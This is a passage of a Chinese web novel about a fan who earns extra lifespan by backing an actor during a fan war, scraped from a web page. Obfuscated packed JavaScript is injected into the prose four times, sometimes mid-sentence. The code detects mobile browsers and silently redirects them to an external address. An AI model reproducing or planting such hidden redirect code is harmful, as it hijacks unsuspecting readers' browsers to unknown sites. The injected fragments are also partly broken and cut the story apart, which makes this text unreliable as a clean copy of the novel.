;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913030|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不二的男一，算是小爆了一把。 可惜当年的他，和沈云峰的那部剧撞了档期，话题热度也被对方全面压制。 其实要真只是被沈云峰压制倒也罢了，准确的说，他是被聂嘉远压制了。 不知道究竟为什么，当时有大批营销号将聂嘉远的演技和赵恒对比，都说赵恒一个专业的还不如一个半路出家的。虽然一个是男二，一个是男一，但偏偏角色人设上有些类似，这一对比，粉丝自然不满，当时就吵翻了天。 聂嘉远那时候凭借演技确实吸引了大批粉丝，别说是恒星了，就是锋丝都要暂时避其锋芒，赵恒的粉丝再不满，也吃了瘪。 这仇就算结下了。 后来聂嘉远帮朋友说话，之前喜欢他的人转头反咬一口，锋丝趁机蜂拥而上，恒星也浑水摸鱼掺和进来，终于大获全胜。 这之后，恒星算是彻底盯上了这个人，偏偏聂嘉远和赵恒就是特别有缘，总能同框，粉丝一直骂一直骂，本来以为能把这个人骂到退圈，结果谁成想他竟如此坚强，骂着骂着居然又作为男主跟赵恒对打，成了当下这局面。 确实气人。 换她她也得气。 可关键是当初究竟是谁引导的舆论，让一个男二跟男一比演技，还不是同一部剧的演员——这个背后，才比较值得深究。 正想着，微信的消息先弹了出来。 “发家致富：你说聂嘉远和赵恒啊，这我知道，当年我就把这个瓜给吃明白了，那些营销号之所以发两个人的对比，不就是想虐粉吗？我跟你说，有些事旁观者清，只有我们这种跳出粉圈思维的人才看得清。” 凌钰好奇地挑了下眉。 她早就把微信名字也改成了“我来追星了”，这会儿连忙回复。 “我来追星了：你的意思，虐谁的粉啊？我刚才在网上大概了解了一下情况，当时那个对比，聂嘉远可是赢了的，而且是个人有眼睛都看得出来，确实是聂嘉远演得好。” 消息才刚发过去，对面就干脆打了个微信电话来。 “啊呀，不高兴打字了，我才刚到家。跟你说这事你就没我在行了，营销号对比虐的，明显是赵恒的粉丝，不然你以为他家粉丝为什么每次都跟炸弹似的不能惹？就是因为他们觉得所有人都在欺负他家哥哥！” “赵恒这个公司，营销手段就是这样的，靠的就是虐粉，而且谁火就蹭谁。当时聂嘉远和你对家——不是，就是和沈云峰那部戏，聂嘉远多红，可以说是异军突起，差点就成为新一届大爆咖了！” “所以与其跟沈云峰那个演技烂的对比，把锋丝对家园的恨转移到自己身上，不如跟聂嘉远这个演技更好的比，虽然不至于能大爆，但也把咖位往上又提了一档，还能好好固一固自己的新粉。” “他家这个手段绝对是可以的，你别看赵恒的粉丝量没有当初的林业和沈云峰多，但他死忠粉可不少。” 凌钰恍然大悟。 她终于知道那点违和感是什么了。 赵恒明明是个大男人，不至于真的那么身娇体弱，可他看上去却就是一副瘦弱文静的样子，似乎很好说话，又因为有些端着，所以参加节目时总会被人诟病没有综艺感。 粉丝维护自家偶像的演员身份，越维护，越有种特别的保护欲。 而每次跟聂嘉远同框，只要比试，他永远都输，游戏输，答题输，就连拉人组队，他都会干脆把自己选中的人让给聂嘉远，这粉丝能不恨吗？ “虐粉虐成这样，这人居然比当初的林业还牛。” 凌钰边吐槽边顺手又打开微博，结果一刷新自己主页就愣住了。 “草！”——一种植物。 她十万块钱的抽奖博呢？ 8.第 8 章 孙致容在对面听得吓了一跳：“咋了咋了？又发生啥事了？” 凌钰在心里激情辱骂，不过这事一时半会也说不清楚，她想了想，只好言简意赅道：“赵恒粉丝把我发的东西给举报没了，等等啊，我暂时先不跟你说了，我得先去看一下究竟什么情况……” “对了，你刚到家还没吃晚饭吧？” 托孙致容的福她才能这么快吃明白这个瓜，凌钰打开外卖软件，决定做一回散财童子——反正照今天这个局势，她不是活不成就是能拿到十万块，也不差这一点了。 连翻了几家店铺，她挑中其中一家：“今天你不用做饭了，我给你点吃的喝的，辛苦你每天任劳任怨地了解娱乐圈八卦，希望你继续保持，深度挖掘，掌握精髓，看清套路，下次要吃瓜我还找你。” 孙致容“啊”了一声：“还有这等好事？” 凌钰已经飞速点完：“你之前想吃一直没舍得吃的那家海鲜，现点现做的，速度可能稍微有点慢，还给你点了几杯奶茶。先这样啊，别的回头再说，等我忙完手上的事，过两天有空请你出去吃大餐。” 关了微信，凌钰连忙去细看系统提示，才发现是因为有很多人同时举报，说她的抽奖博涉及“饭圈不友善”、“拉踩引战”、“刷量控评”等等等等一系列罪名，这才被临时屏蔽了。 不是，究竟是谁在拉踩刷屏不友善啊？ 还好系统给了她四个小时做任务，还好她习惯性刷新主页看最新进展，否则时间流逝而她微博没了东西送不掉，不就连命也丢了！ 她想过会被恒星针对，却没想到被针对的后果会这么夸张这么立竿见影。 按理来说，她这条抽奖博和恒星那些的羞辱与谩骂比起来，内容实在是和谐得不能再和谐，追星多年，凌钰自己也是知道些发帖规矩的，因此除去带了热搜话题，她那条帖子里根本什么都没写，就算对方集中火力举报，也不该…… 不对！ 她忽然一拍脑门！ 十年，这些举报的手段她早已了如指掌，也习惯了时不时被人拉黑投诉，可那时她用的号已经是红v，又是包年会员，除非有确凿的证据证明她发表的内容确实有问题，否则一般简单的反击内涵贴，都不会被轻易删掉。 是她自己忘了，现在的她根本就是个光板宝宝号，实在经不起折腾。 这样下去可不行，赵恒的粉丝本来就已经有些疯魔了，首战告捷后肯定会再接再厉，她要是再不抓紧自救，只怕用不了多久，别说发的帖子，就是整个号都要保不住了！ 思及此，凌钰连忙打开了微博后台。 而此时此刻，终于打了个大胜仗的恒星们则正在群里欢呼庆祝。 “牛诶！恒星就是最牛批的！哈哈哈哈！” “搞抽奖这么厉害，结果还不是连帖子都没了？跟我们恒星斗，也不看看自己配不配！” “聂嘉远欺负赵恒哥哥，但我们粉丝可不是好惹的，哥哥被他欺负这么久，今天我们一定要打一个翻身仗！” “所有恒星注意，虽然刚刚已经举报掉了那个抽奖博，但大家不能松懈！这个号不会善罢甘休，肯定还会再发贴，你们能忍受她这么阴阳怪气吗？能忍受丑聂在娱乐圈作威作福吗？能忍受这种人继续骑在哥哥头上吗？” “注意！注意！注意！所有人先进入她的微博主页点投诉，再把她另外两条微博也都点一下投诉。不要害怕，他家除了这个新的氪金号，根本没有正经的大粉，炸了这个号，屠她们广场是分分钟的事！” “对，我刚刚去看了，这号是个光板，很容易就能炸掉。恒星们！胜败在此一举，哥哥就靠我们来守护了！每个人都去，让她彻底发不了贴！加油！” “三年前的丑聂人人喊打，今天我们就让他回到从前，恒星们说到做到，这一回，千万不要再给他任何机会，让我们送他一程，让他和他那位退圈的好朋友李欣永远在一起吧。” 粉丝群里热情高涨，恒星们一个个仿佛打了鸡血，摩拳擦掌地就要给家园们致命一击。 然而再次点进凌钰的微博，她们却愣住了。 什么意思？ 又氪金！ 才一会儿的工夫，这位竟然不仅充值了svip会员，甚至连vvip都同时充值，而且也不知道究竟是怎么搞的，先前明明才举报被屏蔽了的那条微博，过了没多久居然又被放了回来。 这还不是最崩溃的，最崩溃的是，聂嘉远的那帮粉丝不知道受了什么刺激，一个个竟也开始在超话发起了抽奖。 【吵不赢了，也解释累了，赵恒的粉丝真是油盐不进，既然非要说我家没人花钱，销量都是假的，那我再浅浅支持二十套洗发水吧，虽然没有“追星姐”那么有实力，但我抽奖要求和“追星姐”一样。半个小时后开奖。】 【紧随“追星姐”的步伐，看到好多人抽奖送洗发水了，那我就再买点咖啡吧，二十套蓝山咖啡礼盒，半个小时后开奖。我的抽奖要求只有一个，不是赵恒粉丝。】 【气到我了，学生党虽然没什么钱，但想想也就是少喝几杯奶茶的事，我买十套普通的咖啡礼盒，一样半个小时后开奖，不限圈，但不接受赵恒粉丝。你们骂吧，骂一次我多买一套，有本事你把我骂到花完这个月零花钱。】 【免费的热搜不用白不用，顺便宣传下聂嘉远代言的心盛咖啡和嘉廷洗发水，《凤凰记》正在热播中，欢迎大家收看。我也再买点东西抽奖都送掉，家人们来转发吧。】 这是在干什么？ 粉圈撕逼怎么会有这种神展开，吵架就吵架，哪有吵不过就拿钱砸的道理？这帮粉丝脑子有病，她们的钱都不是钱吗？ 赵恒粉丝一时间真是懵了，就连带头的大粉都有些无措，先在群里安慰了一下大家，才赶紧连发了好几条消息出去。 “在不？聂嘉远这回吸到的粉丝好像脑子不好，我们好不容易举报完【我来追星了】那条微博，结果她们居然全体氪金去了，这样下去不行吧？感觉拿我们在帮他虐粉了，就连热搜都变成了她们的宣传位。” “而且之前好不容易投诉掉的那条，刚刚又恢复了，对方绝对不是饭圈新人，估计是找了客服申诉了。” “你们要不要查一查那个号？再吵下去，我怕粉丝们有情绪，现在已经快要收不住了。” 消息发出，对方没有立刻回复，又过了几分钟后才姗姗来迟道：“那个号查过了，的确和聂嘉远无关，就是个新建用来追星的私人账号。现在形势不好控制，你尽量先安抚住粉丝，示弱一下，不要再跟她们对线，后续等我消息。” “正好过两天赵恒也有一个商务要上， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14914131|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们利用这个机会宣传宣传，吵架没用的话，就催氪，让她们把销量搞上去。” 大粉连忙回了两个“ok”，又切回粉丝群。 按照得到的指令，她斟酌着编辑完消息，发送。 “姐妹们，我们辛辛苦苦快一个小时的成果就这么没了，这次对方明显有职粉下场带头，就是想要利用我家催氪，不要再给话题热度，尽快让热搜自然降掉，所有人都撤回来。” “大家扩散，不要再给她们眼神，总归是两个剧对打，我们的播放量比他们高那就是我们赢，所有人守住，全部都去平台刷热度，片头片尾的弹幕刷起来，关注自家，过两天等赵恒哥哥的新商务来的时候，让她们看看我们恒星的实力！” 连续两条信息发出，该传达的理念也算都传达到位了。 大粉缓缓舒了一口气，颇有些自得自己的话术。卖惨、示弱、催氪、宣传，可以说一步到位，粉群听令而动，指哪打哪，她也算对得起自己收的钱。 以往这一招可以说无往不利，只是可惜，粉丝到底是人不是机器，不会永远按照既定的路线走，即便她们向来还算听话，这会儿意见也出现了分歧。 如果在双方的战争没有彻底爆发之前就这么号召，那也许还真的可以偃旗息鼓风平浪静，可现下已经吵出了真火，好多人甚至都开始到处私信问候祖宗了，哪里还停得下来？ 虽然是有一部分人按照大粉要求不再发帖，可还是有很多人仍然闹着，非要绝一死战。 “脂粉下场就可以无法无天吗？我将通过官方渠道举报，不谢！” “这件事别想就这么结束，聂嘉远这种人还能在娱乐圈，是社会的倒退，实在太恶心了，他的粉丝我一个都不会放过，我现在不要别的，只要他死。” “今天谁都别想拦我，数据我自然会做，商务我自然会买，但让我向黑恶势力低头，绝不可能！姑奶奶活到现在，还没见过这么嚣张的资源咖，还不知道‘退让’两个字怎么写。” “今天退一步，明天对方就敢在你头上拉屎，就算是为了哥哥我也做不来这种事，你们要退就退，少来管我。” “我们为什么要跟她们比氪金数据？我们是真金实银在买，她们却在发大水，真正花出去的钱和一堆数字比得了吗？况且她们今天能买销量，明天就不能买播放量吗？不先把水去掉，永远都谈不上公平！” “恒星从来不怕撕逼，@恒星永远，你也是我们的大粉了，为什么要说这种长他人志气灭自己威风的话？” 从群情激昂到群情激愤，也不过短短片刻，屏幕前本以为一切尽在掌控的大粉一整个愣住，完全没想到事态会发展成这样，她焦头烂额还想要劝，场面却越来越不受控制起来。 粉丝群里，一堆人在各抒己见，而大量的人生攻击，血腥图片则逐渐铺满热搜广场，甚至有极端粉丝给聂嘉远p了遗照，又通过非法途径获取到他的私人信息并公布…… 等凌钰的抽奖顺利完成，到账的金额和附加的寿命也已经收到，她下意识要再去看热搜时，才发现刚刚还热闹非凡的话题下已经一片空白，只有最上方显示：“抱歉，该话题内容未予显示，以下为搜索词结果。” #赵恒聂嘉远#的话题整个被锁了。 接着，#赵恒致歉#的热搜空降微博榜首。 9.第 9 章 追星十年，凌钰自认已经算是见多识广，此时也不得不生出几分难得的迷茫。 这是什么操作？ 别的不提，至少她上一次看见明星道歉，还是因为某人不小心点赞了另外一位艺人的“恋爱曝光”料，由此闹得沸沸扬扬，粉黑大战直冲榜首，所谓“恋情”持续发酵引发全网疯传，闯下大祸。 那是艺人之间的问题，由双方艺人自己解决，也算得当。 可现在这是在干什么？最普通的粉圈争端，除了两家粉丝本身，知情者寥寥，关注者有限，如果真的想平息风波，难道不该进行冷处理？ 虽然并不是圈内正经的工作人员，可她当了林业十年的粉丝，作为一个普通的经历者都知道，粉丝也是人，是人吵架都会累，就算吵得再厉害，就算吵上了热搜，在这种事情上，只要正主别再添油加醋，事情总是会过去的。 可现在这是什么情况？ 凌钰点进热搜话题，一眼就看到红v的赵恒“当事人回应”。 【@赵恒：对不起大家，无意占用公共资源，更对不起我的好兄弟@聂嘉远。希望所有的恒星们能约束自身行为，我也将从自身做起，遵纪守法，让我们共同维护网络环境。再次对不起！】 其实单看这段话，他的表述倒也挺诚恳，行事也不能说他不对，就连号召也十分符合主流要求，顺应时代发展。 可凌钰却还是很快察觉出点不对劲来。 因为下方的评论已经飞速增长，回复的内容几乎全都是恒星们在表明自己的苦衷，诉说聂嘉远和家园的“恶行”，心疼自家哥哥。先前好不容易才刚要偃旗息鼓的那点战斗力也有了死灰复燃的迹象。 最上方的一条是这样的—— 【哥哥为什么要说对不起，明明是聂嘉远的粉丝挑衅在先，现在还要哥哥公开道歉，@聂嘉远@聂嘉远工作室你们疯了吗？职场霸凌到这种地步，究竟有没有人管管啊？】 赵恒在下面回复道：【听话。[拥抱][拥抱][拥抱]】 …… 凌钰无言以对。 发道歉直接@聂嘉远，话题空降热一，翻牌粉丝回复，还是这么不明不白的回复，这已经不仅仅是虐粉，这几乎是正主下场号召粉丝冲锋了！ 赵恒，他得受了多大的委屈才“不得不”出来道歉啊，明明知道这是“职场霸凌”，却还是“忍辱负重”让粉丝“听话”！赵恒，或者说赵恒背后的公司，不愧是内娱虐粉的神…… 被回复的粉丝顿时跟打了鸡血一样，恒星的整个粉圈都再次变得疯魔。 【你们究竟对哥哥做了什么？这样逼他，不怕遭天谴吗？花香娱乐你就是这么对我哥的吗？我哥辛辛苦苦给你卖命，你呢？只会拿人当枪使！我今天话就放在这，聂嘉远一天不退出娱乐圈，我一天跟他没完！】 【究竟要多红才可以不经历这些，才能不受委屈不受苦啊？哥哥这些年已经够隐忍了，你们还要他怎样？用水出来的数据压人，靠着拉踩我家上位，现在还要哥哥亲自道歉，聂嘉远你算什么东西？】 【聂嘉远滚出娱乐圈！聂嘉远滚出娱乐圈】 好不容易即将平息的骂战一时风波再起，眼看着新一轮的网暴就要到来。 凌钰突然生出一种巴掌伸不进屏幕的无力感。 实话说，以前的沈云峰也讨厌，多年来大大小小的闹剧也折腾了不少，可像现在这样让人牙痒痒的招数，她还真没见过。 这个赵恒，怎么会是这种人？ 虽然之前没有正经看过他的剧，但就偶尔刷到的一些片段来看，这人的演技不差，只是他的长相偏乖巧精致那一挂，人设又总是显得软弱好欺，因此某些桥段能超长发挥，某些桥段却显得略有违和。 比如男主受尽反派欺凌，他可以信手捏来，男主霸气侧漏护妻，气势就有些不足，而和女主的感情戏，那就更难有cp感，缺少一点性张力。 虽然这其实也是演技不足的一种表现，但他的角色总体来说并不是非常违和。 有时人设讨喜，他本色出演也能发挥最佳水平，这时候公司再适时营销，自然能吸引不少粉丝，就比如当初那部《梨落》，他的隐忍和痛苦，就能勾的人忍不住心疼。 这些年，他不缺资源，不缺后台，如果能再好好提升一下自身，凌钰觉得，将来某一天能有些成就也不是不可能。 可现在看着热一的词条，这位——又或者是他背后的公司，大约是一点也不想再等了。 到了这个时候，局面已经不再是她们这些粉丝能轻易扭转的，一切就只能看聂嘉远，或者聂嘉远工作室会如何回应。 先前点的外卖刚好在这时候送到，凌钰才刚开门把海鲜大餐拿进门，下一秒，手机就跳出了提醒，聂嘉远的微博在线了，又过了一会儿，一条新的博文被发出—— 【@聂嘉远：入行六年，一直秉持初心，只想好好演戏。 不要再给我打电话，不要改我的飞机票，也不要再去我家门口蹲着了，我换了号码，行程暂停，房子也已经着手在卖，会搬家。 泄漏私人信息是违法行为，已经报警，后续等待警方处理。】 聂嘉远的工作室转发了这条微博，接着，当地警方也发了一条简要的通报，说明已经受理此案，正在进一步调查。 这一下，吃瓜的路人终于看明白了点东西。 【难怪赵恒要道歉，他的粉丝居然去线下骚扰聂嘉远啊？不是我说，我一直觉得他家粉丝疯魔，这一看，还真是疯。】 【关键那帮恒星到现在都没觉得自己错，还在说是聂嘉远的问题。】 【赵恒自己才有问题，一个大男人，天天像个林妹妹似的，他那个公司还有人不知道吗？就是以虐粉出名的。我对他不了解，对花香娱乐还不了解吗？周梓然也是那个公司，都是一个套路。】 【粉丝被牵着鼻子走，为他冲锋陷阵，根本不知道自己才是被利用的那个。你别说，最近这娱乐圈还真是不太平。】 【林业和沈云峰才刚塌，这边就又吵成这样，究竟啥情况啊？】 【内娱完了。[微笑][微笑]】 眼看着舆论一边倒，恒星们自然要为自家人证明，一时间众说纷纭。 热搜上乱七八糟的词条升升降降，赵恒和聂嘉远的名字来来回回，广场上对骂的解释的，开除粉籍的，吃瓜的好奇的，看了嫌烦的，应有尽有，中间还夹杂了一堆继续氪金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919855|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的家园。 也算是道别样的风景线。 【话不多说，继续下单，我将用实际行动支持聂嘉远。】 【聂嘉远实惨，帮不上什么别的忙，就再买点代言吧，助力重新买个更大更安全的房子，省得被疯子骚扰。】 夜深人静，微博上热闹非凡。 恒星大粉却一脑门子的官司。 就在聂嘉远的回应出来之后，与她对接的那位就发来的最新的消息。 “要么就一次将对方打趴下，要么就干脆装可怜，氪金永远氪不过人家也就算了，现在连吵架都吵不过。赶紧让她们不要再继续冲了，尽量平息粉丝怒火，不管你用什么办法。” “这次碰到了聂嘉远的逆鳞，他那股倔劲儿上来了，突然硬刚，也是打了我们一个措手不及。” “用后援会官号发文，号召粉丝不要再吵了，如果实在平息不了，工作室会发文重组后援会，到时候你这边换个号再重新接手官号，现在用的这个号也弃掉不要了。趁对方粉圈还散着，早点收场，抓紧时间。” 大粉越看越叹气，好半天才有些为难地回复：“怕就怕现在舆论不是我们能操控的了，你是没有看到，现在群里也一团乱，说什么的都有，已经有好多人开始对自家人开麦了。” 她担忧道：“这样下去，恐怕会大批量脱粉。” 对面没有犹豫：“那就利用这个机会再虐一波粉，要脱粉就让她们脱，留下的才是死忠。放心，过会儿会有营销，别忘了让人控评，做好你自己该做的，其他的不用你管。” 大粉坐在电脑前，默默看着自己【恒星永远】的微博名，好半天才回道：“好。” 凌钰并不知道赵恒那边究竟在忙些什么，只不过看着聂嘉远这条帖子，倒是很符合她的性格。 与其步步退让，不如重拳出击。 不针对任何艺人，只针对这种行为。 不和稀泥，也不卖惨，客观描述事实，解决问题即可。 虽然现在的情形和三年前看起来很像，但有很多事却又变得不太一样，譬如当年大量粉丝脱粉回踩，而现在，所有人因为她的带头，全都开始努力氪金…… 凌钰还在关注热搜，忽然看到私信中又跳出来新消息。 “@聂嘉远官方后援会：姐妹在不？刚刚工作室那边对接让我来确认一下，你花了那么多钱，有没有什么需要我们做的？” 凌钰呆了一下，这还是她头一次遇到这种事。 她下意识回复：“需要你们做什么？” 对面似乎愣了一下，才又回：“是这样，姐妹你是成年人吧？花这么多钱，没什么问题吧？我们没有别的意思，主要是担心……如果有问题的话，这边可以把钱退给你的。” 省略号的内容没说明白，但凌钰瞪着这符号看了一会儿，却忽然福至心灵地懂了：“啊，你们担心是我未成年，偷用家里的钱啊？没有的，放心，这是我自己花的，我已经是成年人了。” 不过—— 她想了想，还是又发了一条消息过去：“钱就不用退了，但有件事倒的确是我想要的，能不能麻烦帮忙转达一下，我只要聂嘉远谨言慎行，遵纪守法，永不塌房，就好。” 10.第 10 章 等凌钰好不容易吃上晚饭，天已经全黑了。 高楼层叠，不远处，能看到对面的写字楼里仍然亮着灯。 捧着滚烫的奶茶喝了满满一口，凌钰这才舒服地喟叹一声。 其实当初她之所以选择租现在这个房子，为的就是离公司近，上班方便，如果不是林业塌房，她昏睡数日无故矿工被辞退，而手机里又突然冒出这么个稀奇古怪的app，现在的她应该也还在加班加点的赶报告，做ppt吧。 世界忙碌依旧，而那些熬夜秃头，被主管训话斥责，时不时还要和同事明争暗斗的日子已经渐渐离她远去。 凌钰的视线落在满桌的海鲜上，忽然生出一股恍然隔世，如获新生的感觉。 大约是一只脚总是踩在奈何桥边反复徘徊，生死面前，钱财才变成了真正的身外之物。 这要是摆在从前，她绝不舍得像现在这么为自己花钱，她的钱永远要存着，为无法预知的未来，为林业不知何时突然官宣的商务。 奶茶一周最多点一次，咖啡都用最简单的速溶，三餐能在公司解决就在公司解决。有时难得放飞自我犒劳自己吃点好的，吃完还有负罪感——一顿火锅四百多，这钱要是用来买林业的杂志，还不知道又能买多少本！ 孙致容一直很不赞同她的想法，好几次都说她追星追魔怔了。 当时的凌钰身在其中，并不觉得。 可如今回头再看才发现，原来真正好的人会教你，哪怕追星也要先过好自己的日子，而有的人贪得无厌，永远只想要你无私的付出，哪怕倾家荡产丢了性命，他也不会管你分毫，只怪你自己傻。 凌钰慢慢走回桌边，先尝了一只生蚝，鲜香甜美，又吃了一份小鲍鱼，肉嫩汁鲜，待到再去吃帝王蟹的蟹钳时，【发家致富】的微信语音跳了出来。 “我的妈呀！你发财啦？” “好多海鲜，这一份帝王蟹就要好几千了，看到外卖单子我以为自己眼花了，跟周哥两个人在家研究了半天，真的是这么贵！” “你知道我现在的感觉吗？我都不敢动筷子，感觉自己在吃金子。之前不是说你的钱都被你那个前偶像给骗没了吗？你哪来这么多钱买这个啊，不对劲啊，凌钰，你没什么事吧？” 一连三条消息跳出来，凌钰一条条听完，才笑着回道：“我没事。” “不是跟你说我重新找了个活儿干吗，放心，我赚得挺多，吃顿海鲜还是绰绰有余的。再说你不说过吗？钱这东西不花白不花，生不带来死不带去的，不如好好享受享受。” 她说完，朝着自己桌上的晚饭拍了张照片发过去：“我自己也在吃，不瞒你说，今天你是第二个问我有没有什么不对劲的了哈哈！” “？”孙致容好奇地打了个问号，又问：“还有谁啊？” “聂嘉远的后援会，”凌钰笑道，“不过不重要，重要的是，我现在想通了，与其抠抠搜搜到最后把所有钱都打了水漂，不如好好对自己好好生活珍惜当下，你等着我带你起飞啊。” “还有这等好事？”孙致容在那边嘎嘎乐，“姐妹，苟富贵勿相忘，靠你了。” “不过，你也悠着点用，钱的确该花就花，但还是记得给自己留点余量啊，”孙致容说完，还是有点不放心，“有事一定得告诉我，反正你是知道的，虽然我能力确实有限，但一定会给你兜底。” 凌钰又回了一个ok，才重新把手上的蟹腿吃完。 虽说是要享受，但她也并没有肆意浪费，给孙致容家里点的是一整只的帝王蟹，给自己点的餐分量则不算太大，等全部吃完，刚好差不多填饱了肚子。 洗完澡靠在沙发上休息的时候，凌钰倒是又想起来一件很重要的事。 【识人】app的主页此刻已经彻底安静下来。 最上方，所有的数字都显示为零。 而下方小小的人物头像旁标注着—— 正主1：聂嘉远。 状态：正常。 已返利总金额：111000元。 真是好多“1”，适合她，一个略有薄资的光棍。 凌钰没再多看，只点进页面内的咨询按钮，编辑文字发送。 “您好，有个问题想要请教。请问今天为什么会突然临时发任务？这样一来，之前已得寿命不就都不算数了？这里面也该有相应规则吧，否则万一什么时候又突然发任务，我岂不是睡觉都要睡不安稳？” 虽说今天这十万块在帮助挽回局面上的确起到了一定作用，也让她在任务完成后又大赚一笔，多了好几天的寿命，可实际却后患无穷。 钱先摆在一边不谈，这寿命，切实到手的才是真的。 如果总这样在所获得的寿命尚未结束前突如其来地发布新任务，那她多再多的附赠寿命，也不过只是毫无意义的数字。不弄清楚原因，头顶悬着的剑就永远都在，她根本不知道自己什么时候突然就挂了。 大约是猜到她会不解，也或者系统本来就已经设定好了回答。 她这边消息才刚发出，对面就回道：“宿主您好，根据您所提出的问题，检测到相关关键词，系统给予答复如下——” “日常任务：一般在宿主寿命将尽前发布。” “临时任务：一般在宿主所投资明星（即正主）网络舆情、社会地位等出现波动时，根据系统检测按需发布。” “特殊任务：一般在宿主所处环境或社会中发生非人力不可控事件时，根据系统检测按需发布。” “系统会根据实际情况确定任务所需时间和任务发布金额，请宿主按照要求及时完成。感谢您的支持，祝您生活愉快。” …… 每一个字分开来都能看懂，凑在一起究竟是什么意思，凌钰理解了半天才稍微捋顺。所以按照系统的说法，今天是因为赵恒的粉丝突然向聂嘉远发难，所以它才会抽风来这么一出？ 倒也合理。 毕竟要是聂嘉远真的出了什么事，或者被黑到退出娱乐圈，她的“正主”也就没了。可……也不能拿她的命开玩笑啊！ 凌钰想想，编辑发送：“临时任务和特殊任务我会好好做，但是就不能不设倒计时吗？” 对面秒回：“对不起，已驳回该诉求。” 她不死心，又发：“就算有倒计时，就不能让我不死吗？” 对面再次秒回：“对不起，已驳回该诉求。” 真是说不清了！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927123|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 凌钰龇牙咧嘴地把手机扔到了一边，眼不见为净。她现在怀疑系统对面的确实不是人，因为实在太狗了。 默默起身，在房间里稍微活动一会儿，凌钰才重新拿起手机躺回床上，这次她的剩余寿命还有15天——虽然临时任务给的金额很多，但附赠的寿命却比之前要少，她也懒得再去管规律了，爱啥啥吧。 打开微博，热搜明显安静下来。 虽然赵恒的道歉还在榜上，聂嘉远的回应也挂着，但吵架的粉丝却没再继续折腾，因为就连官媒也发出了倡议，号召大家理智追星。 双方的广场上几乎都是些没有实际意义的帖子，凌钰捏了捏额头，点进私信。 那里是聂嘉远后援会一个小时前发来的最后一条回复。 “@聂嘉远官方后援会：已经转达，放心。” 凌钰不由勾着嘴角笑了笑，又捂上被子，最终爬起来跪在床上，对着窗外的天空念念有词道：“希望聂嘉远真的能做到，好好干，加油干，遵纪守法，永不塌房！求求了！” 接下来的几天，日子过得风平浪静。 林业和沈云峰的事逐渐被更多的社会新闻代替，赵恒和聂嘉远这种算不上大爆的艺人就更是没了什么曝光，娱乐圈里似乎也变得安静而祥和。 凌钰每天坚持去超话签个到，确定她家正主还好好的，就不再多管。 而先前买的一些咖啡和洗发水也陆陆续续到了货，她索性没再往家里般，干脆直接在菜鸟驿站拆开包装，一份一份重新打包了往中奖人的地址发出去。 周末，天气很不错。 这段时间她难得出门，寄完全部的包裹，想起跟孙致容的约定，凌钰看着头顶蔚蓝的天空，心情大好地打了个电话过去问：“约不约？去吃大餐啊？” 孙致容那头乱糟糟的，过了一会儿才回答：“啊呀，宅女终于高兴出门了啊？等我一下，我手头还有最后一点材料搞完，十分钟就好。想去哪？今天正好周哥也休息，一起去吃顿好的，我们请客。” “都行啊，不过请客还是我来吧，上次不是跟你说过吗，要请你吃大餐。要不就国贸？之前你不是说那边有家烧烤好吃吗？”凌钰边说边挤上地铁，“我还没去过呢。” “你说那家大丰？”孙致容边回答边噼里啪啦打字，“行啊，我上次去吃还是我们有个土豪同事请客，今天咱也奢侈一把，说走就走！” 挂断电话，凌钰刚准备找个更稳的地方靠着，耳边就响起一声轻笑。 人太多，行动受限，她有些艰难地扭过头。 就在她身边，两个熟悉的面孔近在咫尺：“这不是无故矿工的凌大小姐吗？看来真是找到更好的工作了，吃饭都要去国贸那种地方，你现在混得不错啊。” “诶？你的那个偶像不是塌房了吗？我们还担心你受的刺激太大熬不过去呢，没想到你这么神采奕奕。听说你是林业的大粉，他敛财那么多，害得好多人倾家荡产，怎么，那钱不会分给你们吧？” “哈！”最开始说话那人又笑了一声，“你以为林业是什么慈善家吗？他的大粉在他眼里算得上是人？不过都是他敛财的工具而已。我看，凌大小姐打肿脸充胖子的可能性倒比较大。” 11.第 11 章 这两位，算是她原公司里的老对手了。 虽然在同一个部门，但凌钰和她们的关系却实在不怎么样。 